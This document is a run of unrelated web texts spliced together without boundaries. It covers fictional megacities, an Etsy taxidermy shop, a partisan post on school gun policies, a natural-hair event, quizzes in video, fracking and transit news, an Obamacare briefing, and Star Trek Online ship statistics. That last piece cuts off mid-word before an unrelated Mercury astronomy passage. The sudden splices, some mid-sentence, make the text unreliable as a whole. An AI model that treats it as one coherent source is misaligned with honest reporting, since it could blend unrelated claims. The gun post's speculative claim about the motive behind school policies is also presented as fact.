Advertisement And of course, Judge Dredd does not leave Asia untouched — Hondo City covers most of Japan, from Hokkaido all the way down to Wakayama. Australia: Greater Sydney is predicted to encompass a region spanning from Melbourne, all the way up to Queensland along the coast. But as with Edinburgh/Glasgow and Gauteng, it doesn't appear that anybody's written science fiction about this megalopolis yet. Advertisement The South Pole: A continent-wide city called Antarcto covers the whole of the Antarctic, in Magnus, Robot Fighter. Because robot-fighting is best served... cold. Advertisement And of course, the city of Holy Terra, or just Terra, occupies almost the entire planet's surface in Warhammer 40,000. Additional reporting by Alexis Brown. Map layout by Stephanie Fox. A version of this article originally appeared in 2009.Welcome to the Etsy home of Morbid Curiosities Taxidermy. Here you will find a wonderfully unique selection of taxidermy couture as well as unique rogue taxidermy and anthropomorphic pieces. All pieces are created by hand and, unless otherwise stated, all taxidermy work is undertaken personally be me meaning that each piece is unique. I have always loved and respected animals, so it is very important to me to use only ethically sourced animals in my work. All of the animals used in my pieces were either pre-frozen for reptile food, recycled antiques or are surplus/unwanted parts from other industries. No animals were killed specifically for use in my work I am happy to take commissions if you have an idea for a piece of taxidermy or a custom couture item. Provided it can be produced within my code of ethics, I'd love to work with you to make your vision a reality. Message me to talk about ideas and pricing. Accepted payment methodsUpdate: A California school is sponsoring a “toy gun buyback.” The principal even bluntly stated that “If we want older kids to not think guns are cool, we need to start early.” More and more often we are seeing in the news examples of “zero-tolerance” insanity by schools against even mentioning that such a thing as a gun exists. Just a few of the egregious examples of late include: A deaf preschooler was asked to change how he signed his name using sign language because it kinda looks like a gun. A middle-school student was suspended for 10 days for uttering the word “gun” on the bus ride home despite the student neither bullying nor threatening anyone. A kindergartener was interrogated for hours without his parents knowledge or presence for brining an obviouly fake cowboy toy gun. As insane as these examples are, there is a reason for this madness. It is about conditioning children to associate anything and everything to do with guns with punishment and pain. That way, when these children become 18 and can vote, they will likely vote against the 2nd Amendment and against our and their fundamental freedoms. This is a textbook example of Pavlov’s “conditioned reflex,” albeit with the children being treated like the dog. And now for a palate cleanser: A Japanese maid shooting a Barrett M82A1.50ca: TweetShare this article! 18 Pinterest 0 StumbleUpon 0 Reddit 0 Linkedin Tumblr 0 Digg Boston area Naturalistas are starving for attention when it comes to natural hair workshops and events in the area. (Hint to Natural hair vendors: There are a lot of Naturalistas in Massachusetts)! Thank goodness that there are Naturalistas like Marie Compere who are stepping up to the plate to fill that void! Marie is the owner of Luv My Natural Curls Boutique and the brainchild behind the 4th annual Seeds of Luv natural hair event. The event, which took place on Saturday, February 1st in Randolph Massachusetts was hosted by Rica Elysee, and Stell Roberts. Elysee, the organizer of Boston’s Natural Hair Meetup group, is making tsunami-size waves on the natural hair scene in Boston. Elysee and Roberts did a wonderful job with keeping the crowd engaged and excited about the day. Highlights of the event included: Hair care tips from Ken Burkeen, Founder of the Huetiful Hair Steamer. Two lucky winners snagged a Huetiful steamer! The smooth musical stylings of songstress Tori Tori. Great vendors including visual artist and jewelry designer Tarra Lu, t-shirt/book vendor My2Cents4UBlog.com, and natural hair product vendor Koils By Nature among others great vendors. As if this wasn’t enough, Felicia Leatherwood fielded direct questions from Naturalistas for more than an hour on topics ranging from how to maintain moisture in natural hair to choosing the products that are best for your particular hair type. Be on the lookout for detailed blog posts on some of the tips shared at the event! Attention Event Organizers & Naturalistas Post your upcoming natural hair related events, press releases and Meetups for FREE on the Natural Haircare News website! It only takes a few minutes and you’ll reach the thousands of Naturals in your area who are looking for natural hair events in their town. Click Here: Post Your Events Seeds of Luv Pictures Author: Dianne “Changing attitudes about natural hair” is what we do at Natural Haircare News. Through informative articles, podcasts and videos, we go beyond just sharing the latest advice and tips on kinky, curly, wavy haircare – We shake things up and focus on the realities of wearing our hair natural. Not sure of which products are right for your hair type? Visit our solution oriented natural hair products store. if (function_exists('nrelate_related')) nrelate_related();?Recently there has been a surge in the number of requests I’ve received regarding the idea of embedding quizzes in video. Faculty are curious as to whether this is a good technique and how they can create these sorts of things on their own. At least part of this increased interest may be attributed to the rise of MOOCs (Massively Open Online Courses), where organizations like Coursera, Udacity and EdX build their online learning platforms around videos with quizzes and other interactive elements. Another place where faculty have likely seen this technique employed is on the TED Ed website where lessons involving multiple choice questions are built into educational TED Talk videos. Wherever this renewed interest is coming from, I’m happy to report that (a) this is a very good technique leveraging the biggest strength of the web – interactivity – and (b) it’s actually a lot easier to emulate this idea than one might think and there are a number of ways to go about doing so. In part one of this two-part post, I’ll focus on the former idea. The reason why this technique works so well is two-fold. First of all, video by its very nature is passive and because of television, films, music, and the Internet all of our attention spans (not just those of the students we serve) have become increasingly short over the years. Having a quiz or other interaction pop-up (like a manipulable visualization) every few minutes in a video switches things up for viewers and can increase how long they can pay attention to a video actively. Secondly, if we look at Bloom’s Taxonomy, video, at its best, can only really reach the 2nd tier of understanding, and I’d argue most videos only reach the 1st tier of remembering (and because video is passive, it’s questionable whether it even reaches that tier). Creating a video mash-up involving quiz questions or some other interaction after every few minutes of video allows the viewer to check their understanding (2nd tier) by applying (3rd tier) and sometimes even analyzing (4th tier) what they just learned in the previous video segment. Ultimately, I’d argue that this helps students reach the more critical thinking oriented tiers in Bloom’s Taxonomy – namely evaluating (5th tier) and creating (6th tier). Embedding interactivity in a video more often engages an audience, therefore turning passive learning (the presentation of new content) into active learning (letting students “play” with the new content) – and shouldn’t this be what learning is all about? If you agree, then be sure to read part 2 of this post that identifies some ways to add this interactivity to your videos.The Department of the Interior has been ordered by a federal judge to turn over documents revealing how much fracking has been going on in the Gulf of Mexico. The Center for Biological Diversity has tried for eight months to obtain records on fracking wells in the Gulf, only to have its Freedom of Information Act request rejected. So the environmental group sued the Interior Department, which lost the case. Two federal offices that regulate offshore oil and gas production now must release the fracking documents beginning in July. They will have nine months to comply with the court order. “The thing that I find shocking is that, this is the agency that’s supposed to be regulating offshore drilling, and they don't keep track of it nor have a system that is amenable to searching for it,” plaintiff attorney Miyoko Sakashita told Truthout. Information about onshore fracking is readily accessible, but data on offshore fracking isn’t made available to the public on government and industry tracking databases. “Offshore fracking has been shrouded in secrecy, but this settlement will finally force the government to tell us where oil companies are using this toxic technique,” Kristen Monsell, another plaintiff lawyer, told Truthout. “Fracking pollution is a huge threat to marine animals, and the high pressures used to frack offshore wells increase the risk of another devastating oil spill.” Last year, the government released a partial list of fracking wells in the Gulf that showed there were 115 platforms that, as of 2013, used an unconventional technology known as “frack packing”. The technique is a safety measure designed to protect well production equipment by limiting the amount of sand generated in the process. The center contends that the total number of wells may far exceed 115, considering there are 4,000 oil and gas platforms in Gulf waters and the oil industry has indicated the technique is being used in that area to exploit untapped reserves. “The seafloor of the Gulf of Mexico is not flat; it is full of canyons and ridges and steep inclines and declines,” Gulf Restoration Network’s Jonathan Henderson told Truthout. “There's faults; it's unstable, and any activity that industry engages in on the seafloor, it can have effects that could be catastrophic.” -Noel Brinkerhoff, Danny Biederman To Learn More: US Interior Department Compelled to Reveal Extent of Fracking in Gulf of Mexico (by Mike Ludwig, Truthout) What Is the Government Not Telling Us About Fracking in the Gulf of Mexico? (by Mike Ludwig, Truthout) Extent of Stealth Fracking in Gulf of Mexico Revealed (by Paul Abowd, Al Jazeera America)Our weekly “New Starts” roundup of new and newsworthy transportation projects worldwide. Milton Keynes Opts for Pod Cars Over Rails At its birth in 1967, the English “new town” of Milton Keynes was designed to be a city of 250,000 when fully built out. Its population is now just shy of that figure, and borough officials have been weighing how best to move those 248,000 residents around. Two related announcements reveal that the borough intends to stay true to its futuristic heritage by adopting a new form of transport over two time-tested ones. The MKweb news site reported March 30th that the Milton Keynes Council has ruled out building a tram or monorail system to serve the city after a resident of the borough’s Hodge Lea district sent the site a map showing possible tram or monorail stations. A council spokesperson said that a tram or monorail “would need to be heavily funded from the private sector and even with large passenger numbers it would not generate enough income to justify it.” The spokesperson went on to say that adding rail transit to the already-built-out city would cause “significant disruption” and “change the look and feel of the city.” Furthermore, “the new driverless pods provide a Personalised Transport System anyway for the city centre further reducing the need for a monorail or tram service.” The “driverless pods” are self-driving electric minicars developed by the British Transport Systems Catapult. Officially unveiled in mid-February at a demonstration in Greenwich, the two-seat “LUTZ Pathfinder” podcars are designed to operate in pedestrian environments such as Milton Keynes’ “redway” network of bike and pedestrian paths. The Pathfinders will enter service as an “urban laboratory” test project in partnership with the Milton Keynes Council later this year. The demonstration project will also allow the British government to determine how driverless cars should be regulated, according to an announcement on the Catapult web site. Proposal to Close L.A. Freeway Gap Continues to Generate Heat The latest proposal to close the last major gap in Los Angeles’ freeway network, a segment of the Long Beach Freeway (Interstate 710) between South Pasadena and Alhambra, is proving every bit as controversial as the previous ones. CBS Los Angeles reports that local officials who spoke at a forum at California State University-Los Angeles March 30th divided sharply over the latest recommendation of an environmental impact report, which calls for a highway tunnel to close the gap. South Pasadena Council member Michael Cacciotti, who opposes the tunnel, said that a light-rail line would deliver greater benefits for the estimated $3 billion to $6 billion the tunnel will cost to build: “With the same amount of money, you can build, essentially, a massive system, and there’s many more benefits from a light-rail system.” Alhambra Council Member Barbara Messina disagreed, saying that the tunnel “is the only alternative that makes sense, and it solves all of the problems that the environmental impact report has to address, (such as) mobility, air quality and congestion. The other alternatives do not meet those needs.” The environmental impact report considered five alternatives for the corridor, including transportation systems management, bus and rail lines, and no construction. If the tunnel is given the green light, construction will take five years to complete. Additional debates on the report are scheduled for next month. Architect Chosen for Jeddah Transit Projects The Saudi Arabian government’s plans to add modern rail rapid transit to its largest cities continues on its fast pace. The latest development, according to a report in Railway Gazette International, is the selection of a world-renowned architect to design public transport facilities for Jeddah, the country’s second-largest city. Foster + Partners will develop the architectural vision for the city’s transport network, which will include metro, ferry, bus and bicycle networks along with public spaces and “nodes for development.” The 45-billion-riyal ($11.996 billion U.S.) plan has as a goal to increase the percentage of Jeddah’s population living within a 10-minute walk of a transport node from 12 to 50 percent through strategic planning and denser development. Foster + Partners will focus on the planned three-route metro system, including design of stations, trains and branding for the system. But the firm says its work will focus on long-term sustainability that “anticipates growth centuries from now.” Know of a project that should be featured in this column? Tweet @MarketStEl using the hashtag #newstarts.The Obama administration says a public option may be required to fix ObamaCare, which is facing skyrocketing premiums and seeing major insurance companies cutting their plans. White House press secretary Josh Earnest argues that a public option would help create more competition for private health insurance companies. “Added competition in all 50 states would, we believe, have the effect of further challenging private health insurance companies to improve their offerings and reduce their prices,” Earnest said during the White House press briefing on Wednesday. Obama is planning to deliver a major speech about Obamacare in Miami, Florida on Thursday, where he is expected to address some of the growing problems with his signature legislative achievement. But Earnest admitted that despite Obama’s proposed solutions, it would be up for the next president to offer a solution. “Maybe the next batch of members of Congress will and hopefully we’ll have a president, like the candidate that President Obama has endorsed, who is determined to build on the remarkable success of the Affordable Care Act,” he said.The Iconians have revealed themselves. The arrival of their Heralds signals the start of a war that will decide the fate of the galaxy. Now the remaining races of the Xindi Council understand that isolation in the Delphic Expanse will not save them from destruction. If the Iconian armadas wish to subjugate the Milky Way, first they will have to face the full might of the five Xindi species. The Olean is a significantly updated model of the Xindi-Insectoid Escorts encountered during the Xindi Crisis in the mid 22nd Century. The Tier 6 Xindi-Insectoid Olaen Heavy Escort Carrier isn't as fast or nimble as similar ships in its class, but it makes up for this with additional durability, powerful shields and the ability to launch fighter craft. The Xindi-Insectoid Olaen Heavy Escort Carrier features two specialist seats: 1 Lieutenant Tactical/Pilot seat and 1 Lieutenant Commander Science/Command seat. The Xindi-Insectoid Olaen Heavy Escort Carrier has a single hangar bay equipped with Xindi-Insectoid Castroi Fighters. These light craft are equipped with Plasmatic Biomatter Beam Arrays and Quantum Torpedoes. They can also use the Emergency Power to Shields I ability. Tier: 6 Faction: All Rank Required: Rear Admiral / Brigadier General / Sub Admiral I Availability: Xindi Terrestrial Lockbox Hull Strength: 33,000 at level 40, 37,950 at level 50, 44,000 at level 60 Shield Modifier: 1.15 Crew: 180 Weapons: 4 Fore, 3 Aft Device Slots: 2 Bridge Officer Stations: 1 Lieutenant Tactical/Pilot, 1 Commander Tactical, 1 Lieutenant Engineering, 1 Lieutenant Commander Science/Command, 1 Lieutenant Universal Console Modifications: 5 Tactical, 3 Engineering, 3 Science Base Turn Rate: 14.5 degrees per second Impulse Modifier: 0.18 Inertia: 60 +10 Weapon Power, +5 to Shield Power and +5 to Auxiliary Power Can Equip Dual Cannons Hangar Bays: 1 Hangar Bays loaded with Xindi-Insectoid Castro Fighters Console - Universal - Infectious Bio-Matter Generator Starship Ability Package (Escort Carrier) Precise Weapon Systems Tactical Maneuvering Quick Deployment Devastating Weaponry Council of Thought (Starship Trait) Console – Universal – Infectious Bio-Matter Generator The swarming bio-matter generated by this incubator has a rudimentary animal-like level of intelligence. It has been engineered to seek out enemies in space combat, in an effort to degenerate their ships' hull capacity and maneuverability. It is loaded into a projectile casing for delivery, intended to impact against an enemy's hull with explosive force before delivering the biological payload. This universal console also provides a passive buff to your Kinetic and Physical Damage Resistance Rating. This Console Mod can be equipped only on Xindi starships, in any console slot. You may only equip one of these mods. Council of Thought (Starship Trait) After reaching level 5 in the Xindi-Insectoid Olaen Heavy Escort Carrier's Starship Mastery you will unlock the Council of Thought starship trait. While slotted, you will benefit from the awareness offered by having coordinated allies nearby, gaining increased Defense and Damage Resistance for each ally within 10km. The Ateleth is a heavily updated and more advanced version of the Xindi-Primate warships encountered during the Xindi Crisis in the mid 22nd Century. While the Ateleth is classified as a Dreadnought Cruiser due to its capabilities, it is smaller and more agile than most ships within this class. This starship features two specialist seats: 1 Lieutenant Engineering/Intel seat and 1 Lieutenant Commander Universal/Command seat. The Xindi-Primate Ateleth Dreadnought Cruiser has a single hangar bay equipped with Xindi-Primate Nusuti Heavy Fighters. These light craft are equipped with Plasmatic Biomatter Beam Arrays, Quantum Torpedo Launchers and can use the Scratch the Paint, Fire at Will I and Jam Sensors I abilities. Tier: 6 Faction: All Rank Required: Rear Admiral / Brigadier General / Sub Admiral I Availability: Lobi Store Hull Strength: 40,500 at level 40, 46,575 at level 50, 54,000 at level 60 Shield Modifier: 1.2 Crew: 1400 Weapons: 4 Fore, 4 Aft Device Slots: 4 Bridge Officer Stations: 1 Lieutenant Tactical, 1 Lieutenant Engineering/Intel, 1 Commander Engineering, 1 Lieutenant Science, 1 Lieutenant Commander Universal/Command Console Modifications: 3 Tactical, 5 Engineering, 3 Science Base Turn Rate: 9 degrees per second Impulse Modifier: 0.15 Inertia: 35 +5 to All Power Can load Dual Cannons Hangar Bays: 1 Hangar Bays loaded with Xindi-Primate Nusuti Heavy Fighters Console - Universal - Subspace Kemocite Deployment Cruiser Communications Array Command - Attract Fire Command - Weapon System Efficiency Starship Mastery Package (Dreadnought Cruiser) Rapid Repairs Enhanced Plating Devastating Weaponry Armored Hull Superweapon Ingenuity(Starship Trait) Console – Universal – Subspace Kemocite Deployment The Xindi-Primate Ateleth Dreadnought Cruiser comes equipped with a Subspace Kemocite Deployment console. While equipped, you will be able to coordinate a strike via subspace vortex, using this unique beacon technology conceptualized by the Xindi-Arbore
, but its proximity to the Sun only accounts for about a third of the reconnection rate observed by MESSENGER.[86] Orbit, rotation, and longitude Orbit of Mercury (2006) Animation of Mercury's and Earth's revolution around the Sun Mercury has the most eccentric orbit of all the planets; its eccentricity is 0.21 with its distance from the Sun ranging from 46,000,000 to 70,000,000 km (29,000,000 to 43,000,000 mi). It takes 87.969 Earth days to complete an orbit. The diagram on the right illustrates the effects of the eccentricity, showing Mercury's orbit overlaid with a circular orbit having the same semi-major axis. Mercury's higher velocity when it is near perihelion is clear from the greater distance it covers in each 5-day interval. In the diagram the varying distance of Mercury to the Sun is represented by the size of the planet, which is inversely proportional to Mercury's distance from the Sun. This varying distance to the Sun leads to Mercury's surface being flexed by tidal bulges raised by the Sun that are about 17 times stronger than the Moon's on Earth.[87] Combined with a 3:2 spin–orbit resonance of the planet's rotation around its axis, it also results in complex variations of the surface temperature.[22] The resonance makes a single solar day on Mercury last exactly two Mercury years, or about 176 Earth days.[88] Mercury's orbit is inclined by 7 degrees to the plane of Earth's orbit (the ecliptic), as shown in the diagram on the right. As a result, transits of Mercury across the face of the Sun can only occur when the planet is crossing the plane of the ecliptic at the time it lies between Earth and the Sun. This occurs about every seven years on average.[89] Mercury's axial tilt is almost zero,[90] with the best measured value as low as 0.027 degrees.[91] This is significantly smaller than that of Jupiter, which has the second smallest axial tilt of all planets at 3.1 degrees. This means that to an observer at Mercury's poles, the center of the Sun never rises more than 2.1 arcminutes above the horizon.[91] At certain points on Mercury's surface, an observer would be able to see the Sun peek up about halfway over the horizon, then reverse and set before rising again, all within the same Mercurian day. This is because approximately four Earth days before perihelion, Mercury's angular orbital velocity equals its angular rotational velocity so that the Sun's apparent motion ceases; closer to perihelion, Mercury's angular orbital velocity then exceeds the angular rotational velocity. Thus, to a hypothetical observer on Mercury, the Sun appears to move in a retrograde direction. Four Earth days after perihelion, the Sun's normal apparent motion resumes.[22] A similar effect would have occurred if Mercury had been in synchronous rotation: the alternating gain and loss of rotation over revolution would have caused a libration of 23.65° in longitude.[92] For the same reason, there are two points on Mercury's equator, 180 degrees apart in longitude, at either of which, around perihelion in alternate Mercurian years (once a Mercurian day), the Sun passes overhead, then reverses its apparent motion and passes overhead again, then reverses a second time and passes overhead a third time, taking a total of about 16 Earth-days for this entire process. In the other alternate Mercurian years, the same thing happens at the other of these two points. The amplitude of the retrograde motion is small, so the overall effect is that, for two or three weeks, the Sun is almost stationary overhead, and is at its most brilliant because Mercury is at perihelion, its closest to the Sun. This prolonged exposure to the Sun at its brightest makes these two points the hottest places on Mercury. Conversely, there are two other points on the equator, 90 degrees of longitude apart from the first ones, where the Sun passes overhead only when the planet is at aphelion in alternate years, when the apparent motion of the Sun in Mercury's sky is relatively rapid. These points, which are the ones on the equator where the apparent retrograde motion of the Sun happens when it is crossing the horizon as described in the preceding paragraph, receive much less solar heat than the first ones described above. Mercury attains inferior conjunction (nearest approach to Earth) every 116 Earth days on average,[3] but this interval can range from 105 days to 129 days due to the planet's eccentric orbit. Mercury can come as near as 82.2 gigametres (0.549 astronomical units; 51.1 million miles) to Earth, and that is slowly declining: The next approach to within 82.1 Gm (51.0 million miles) is in 2679, and to within 82.0 Gm (51.0 million miles) in 4487, but it will not be closer to Earth than 80 Gm (50 million miles) until 28,622.[93] Its period of retrograde motion as seen from Earth can vary from 8 to 15 days on either side of inferior conjunction. This large range arises from the planet's high orbital eccentricity.[22] Mercury is on average the closest planet to the Earth: it is closest to Earth 46% of the time; Venus is closest 36% of the time, while Mars is closest just 18% of the time.[94] Longitude convention The longitude convention for Mercury puts the zero of longitude at one of the two hottest points on the surface, as described above. However, when this area was first visited, by Mariner 10, this zero meridian was in darkness, so it was impossible to select a feature on the surface to define the exact position of the meridian. Therefore, a small crater further west was chosen, called Hun Kal, which provides the exact reference point for measuring longitude. The center of Hun Kal defines the 20° West meridian. A 1970 International Astronomical Union resolution suggests that longitudes be measured positively in the westerly direction on Mercury.[95] The two hottest places on the equator are therefore at longitudes 0°W and 180°W, and the coolest points on the equator are at longitudes 90°W and 270°W. However, the MESSENGER project uses an east-positive convention.[96] Spin–orbit resonance After one orbit, Mercury has rotated 1.5 times, so after two complete orbits the same hemisphere is again illuminated. For many years it was thought that Mercury was synchronously tidally locked with the Sun, rotating once for each orbit and always keeping the same face directed towards the Sun, in the same way that the same side of the Moon always faces Earth. Radar observations in 1965 proved that the planet has a 3:2 spin–orbit resonance, rotating three times for every two revolutions around the Sun. The eccentricity of Mercury's orbit makes this resonance stable—at perihelion, when the solar tide is strongest, the Sun is nearly still in Mercury's sky.[97] The rare 3:2 resonant tidal locking is stabilized by the variance of the tidal force along Mercury's eccentric orbit, acting on a permanent dipole component of Mercury's mass distribution.[98] In a circular orbit there is no such variance, so the only resonance stabilized in such an orbit is at 1:1 (e.g., Earth–Moon), when the tidal force, stretching a body along the "center-body" line, exerts a torque that aligns the body's axis of least inertia (the "longest" axis, and the axis of the aforementioned dipole) to point always at the center. However, with noticeable eccentricity, like that of Mercury's orbit, the tidal force has a maximum at perihelion and therefore stabilizes resonances, like 3:2, enforcing that the planet points its axis of least inertia roughly at the Sun when passing through perihelion.[98] The original reason astronomers thought it was synchronously locked was that, whenever Mercury was best placed for observation, it was always nearly at the same point in its 3:2 resonance, hence showing the same face. This is because, coincidentally, Mercury's rotation period is almost exactly half of its synodic period with respect to Earth. Due to Mercury's 3:2 spin–orbit resonance, a solar day (the length between two meridian transits of the Sun) lasts about 176 Earth days.[22] A sidereal day (the period of rotation) lasts about 58.7 Earth days.[22] Simulations indicate that the orbital eccentricity of Mercury varies chaotically from nearly zero (circular) to more than 0.45 over millions of years due to perturbations from the other planets.[22][99] This was thought to explain Mercury's 3:2 spin–orbit resonance (rather than the more usual 1:1), because this state is more likely to arise during a period of high eccentricity.[100] However, accurate modeling based on a realistic model of tidal response has demonstrated that Mercury was captured into the 3:2 spin–orbit state at a very early stage of its history, within 20 (more likely, 10) million years after its formation.[101] Numerical simulations show that a future secular orbital resonant perihelion interaction with Jupiter may cause the eccentricity of Mercury's orbit to increase to the point where there is a 1% chance that the planet may collide with Venus within the next five billion years.[102][103] Advance of perihelion In 1859, the French mathematician and astronomer Urbain Le Verrier reported that the slow precession of Mercury's orbit around the Sun could not be completely explained by Newtonian mechanics and perturbations by the known planets. He suggested, among possible explanations, that another planet (or perhaps instead a series of smaller 'corpuscules') might exist in an orbit even closer to the Sun than that of Mercury, to account for this perturbation.[104] (Other explanations considered included a slight oblateness of the Sun.) The success of the search for Neptune based on its perturbations of the orbit of Uranus led astronomers to place faith in this possible explanation, and the hypothetical planet was named Vulcan, but no such planet was ever found.[105] The perihelion precession of Mercury is 5,600 arcseconds (1.5556°) per century relative to Earth, or 574.10±0.65 arcseconds per century[106] relative to the inertial ICRF. Newtonian mechanics, taking into account all the effects from the other planets, predicts a precession of 5,557 arcseconds (1.5436°) per century.[106] In the early 20th century, Albert Einstein's general theory of relativity provided the explanation for the observed precession, by formalizing gravitation as being mediated by the curvature of spacetime. The effect is small: just 42.98 arcseconds per century for Mercury; it therefore requires a little over twelve million orbits for a full excess turn. Similar, but much smaller, effects exist for other Solar System bodies: 8.62 arcseconds per century for Venus, 3.84 for Earth, 1.35 for Mars, and 10.05 for 1566 Icarus.[107][108] Albert Einstein's formula for the perihelion shift per revolution is ϵ = 24 π 3 a 2 T 2 c 2 ( 1 − e 2 ) {\displaystyle \epsilon =24\pi ^{3}{\frac {a^{2}}{T^{2}c^{2}(1-e^{2})}}}, where e {\displaystyle e} is the orbital eccentricity, a {\displaystyle a} the semi-major axis, and T {\displaystyle T} the orbital period. Filling in the values gives a result of 0.1035 arcseconds per revolution or 0.4297 arcseconds per Earth year, i.e., 42.97 arcseconds per century. This is in close agreement with the accepted value of Mercury's perihelion advance of 42.98 arcseconds per century.[109] Observation Mariner 10, 1974 Image mosaic by, 1974 Mercury's apparent magnitude is calculated to vary between −2.48 (brighter than Sirius) around superior conjunction and +7.25 (below the limit of naked-eye visibility) around inferior conjunction.[13] The mean apparent magnitude is 0.23 while the standard deviation of 1.78 is the largest of any planet. The mean apparent magnitude at superior conjunction is −1.89 while that at inferior conjunction is +5.93.[13] Observation of Mercury is complicated by its proximity to the Sun, as it is lost in the Sun's glare for much of the time. Mercury can be observed for only a brief period during either morning or evening twilight.[110] Mercury can, like several other planets and the brightest stars, be seen during a total solar eclipse.[111] Like the Moon and Venus, Mercury exhibits phases as seen from Earth. It is "new" at inferior conjunction and "full" at superior conjunction. The planet is rendered invisible from Earth on both of these occasions because of its being obscured by the Sun,[110] except its new phase during a transit. Mercury is technically brightest as seen from Earth when it is at a full phase. Although Mercury is farthest from Earth when it is full, the greater illuminated area that is visible and the opposition brightness surge more than compensates for the distance.[112] The opposite is true for Venus, which appears brightest when it is a crescent, because it is much closer to Earth than when gibbous.[112][113] False-color map showing the maximum temperatures of the north polar region Nonetheless, the brightest (full phase) appearance of Mercury is an essentially impossible time for practical observation, because of the extreme proximity of the Sun. Mercury is best observed at the first and last quarter, although they are phases of lesser brightness. The first and last quarter phases occur at greatest elongation east and west of the Sun, respectively. At both of these times Mercury's separation from the Sun ranges anywhere from 17.9° at perihelion to 27.8° at aphelion.[114][115] At greatest western elongation, Mercury rises at its earliest before sunrise, and at greatest eastern elongation, it sets at its latest after sunset.[116] Mercury can be easily seen from the tropics and subtropics more than from higher latitudes. Viewed from low latitudes and at the right times of year, the ecliptic intersects the horizon at a steep angle. Mercury is 10° above the horizon when the planet appears directly above the Sun (i.e. its orbit appears vertical) and is at maximum elongation from the Sun (28°) and also when the Sun is 18° below the horizon, so the sky is just completely dark.[d] This angle is the maximum altitude at which Mercury is visible in a completely dark sky. False-color image of Carnegie Rupes, a tectonic landform—high terrain (red); low (blue). At middle latitudes, Mercury is more often and easily visible from the Southern Hemisphere than from the Northern. This is because Mercury's maximum western elongation occurs only during early autumn in the Southern Hemisphere, whereas its greatest eastern elongation happens only during late winter in the Southern Hemisphere.[116] In both of these cases, the angle at which the planet's orbit intersects the horizon is maximized, allowing it to rise several hours before sunrise in the former instance and not set until several hours after sundown in the latter from southern mid-latitudes, such as Argentina and South Africa.[116] An alternate method for viewing Mercury involves observing the planet during daylight hours when conditions are clear, ideally when it is at its greatest elongation. This allows the planet to be found easily, even when using telescopes with 8 cm (3.1 in) apertures. Care must be taken to ensure the instrument isn't pointed directly towards the Sun because of the risk for eye damage. This method bypasses the limitation of twilight observing when the ecliptic is located at a low elevation (e.g. on autumn evenings). Ground-based telescope observations of Mercury reveal only an illuminated partial disk with limited detail. The first of two spacecraft to visit the planet was Mariner 10, which mapped about 45% of its surface from 1974 to 1975. The second is the MESSENGER spacecraft, which after three Mercury flybys between 2008 and 2009, attained orbit around Mercury on March 17, 2011,[117] to study and map the rest of the planet.[118] The Hubble Space Telescope cannot observe Mercury at all, due to safety procedures that prevent its pointing too close to the Sun.[119] Because the shift of 0.15 revolutions in a year makes up a seven-year cycle (0.15 × 7 ≈ 1.0), in the seventh year Mercury follows almost exactly (earlier by 7 days) the sequence of phenomena it showed seven years before.[114] Observation history Ancient astronomers Liber astronomiae, 1550 Mercury, from, 1550 The earliest known recorded observations of Mercury are from the Mul.Apin tablets. These observations were most likely made by an Assyrian astronomer around the 14th century BC.[120] The cuneiform name used to designate Mercury on the Mul.Apin tablets is transcribed as Udu.Idim.Gu\u 4.Ud ("the jumping planet").[e][121] Babylonian records of Mercury date back to the 1st millennium BC. The Babylonians called the planet Nabu after the messenger to the gods in their mythology.[122] The ancient Greeks knew the planet as Στίλβων (Stilbon), meaning "the gleaming", Ἑρμάων (Hermaon) and Ἑρμής (Hermes),[123] a planetary name that is retained in modern Greek (Ερμής: Ermis).[124] The Romans named the planet after the swift-footed Roman messenger god, Mercury (Latin Mercurius), which they equated with the Greek Hermes, because it moves across the sky faster than any other planet.[125][126] The astronomical symbol for Mercury is a stylized version of Hermes' caduceus.[127] The Roman-Egyptian astronomer Ptolemy wrote about the possibility of planetary transits across the face of the Sun in his work Planetary Hypotheses. He suggested that no transits had been observed either because planets such as Mercury were too small to see, or because the transits were too infrequent.[128] In ancient China, Mercury was known as "the Hour Star" (Chen-xing 辰星). It was associated with the direction north and the phase of water in the Five Phases system of metaphysics.[129] Modern Chinese, Korean, Japanese and Vietnamese cultures refer to the planet literally as the "water star" (水星), based on the Five elements.[130][131][132] Hindu mythology used the name Budha for Mercury, and this god was thought to preside over Wednesday.[133] The god Odin (or Woden) of Germanic paganism was associated with the planet Mercury and Wednesday.[134] The Maya may have represented Mercury as an owl (or possibly four owls; two for the morning aspect and two for the evening) that served as a messenger to the underworld.[135] In medieval Islamic astronomy, the Andalusian astronomer Abū Ishāq Ibrāhīm al-Zarqālī in the 11th century described the deferent of Mercury's geocentric orbit as being oval, like an egg or a pignon, although this insight did not influence his astronomical theory or his astronomical calculations.[136][137] In the 12th century, Ibn Bajjah observed "two planets as black spots on the face of the Sun", which was later suggested as the transit of Mercury and/or Venus by the Maragha astronomer Qotb al-Din Shirazi in the 13th century.[138] (Note that most such medieval reports of transits were later taken as observations of sunspots.[139]) In India, the Kerala school astronomer Nilakantha Somayaji in the 15th century developed a partially heliocentric planetary model in which Mercury orbits the Sun, which in turn orbits Earth, similar to the Tychonic system later proposed by Tycho Brahe in the late 16th century.[140] Ground-based telescopic research Transit of Mercury. Mercury is visible as a black dot below and to the left of center. The dark area above the center of the solar disk is a sunspot Elongation is the angle between the Sun and the planet, with Earth as the reference point. Mercury appears close to the Sun. The first telescopic observations of Mercury were made by Galileo in the early 17th century. Although he observed phases when he looked at Venus, his telescope was not powerful enough to see the phases of Mercury. In 1631, Pierre Gassendi made the first telescopic observations of the transit of a planet across the Sun when he saw a transit of Mercury predicted by Johannes Kepler. In 1639, Giovanni Zupi used a telescope to discover that the planet had orbital phases similar to Venus and the Moon. The observation demonstrated conclusively that Mercury orbited around the Sun.[22] A rare event in astronomy is the passage of one planet in front of another (occultation), as seen from Earth. Mercury and Venus occult each other every few centuries, and the event of May 28, 1737 is the only one historically observed, having been seen by John Bevis at the Royal Greenwich Observatory.[141] The next occultation of Mercury by Venus will be on December 3, 2133.[142] The difficulties inherent in observing Mercury mean that it has been far less studied than the other planets. In 1800, Johann Schröter made observations of surface features, claiming to have observed 20-kilometre-high (12 mi) mountains. Friedrich Bessel used Schröter's drawings to erroneously estimate the rotation period as 24 hours and an axial tilt of 70°.[143] In the 1880s, Giovanni Schiaparelli mapped the planet more accurately, and suggested that Mercury's rotational period was 88 days, the same as its orbital period due to tidal locking.[144] This phenomenon is known as synchronous rotation. The effort to map the surface of Mercury was continued by Eugenios Antoniadi, who published a book in 1934 that included both maps and his own observations.[79] Many of the planet's surface features, particularly the albedo features, take their names from Antoniadi's map.[145] In June 1962, Soviet scientists at the Institute of Radio-engineering and Electronics of the USSR Academy of Sciences, led by Vladimir Kotelnikov, became the first to 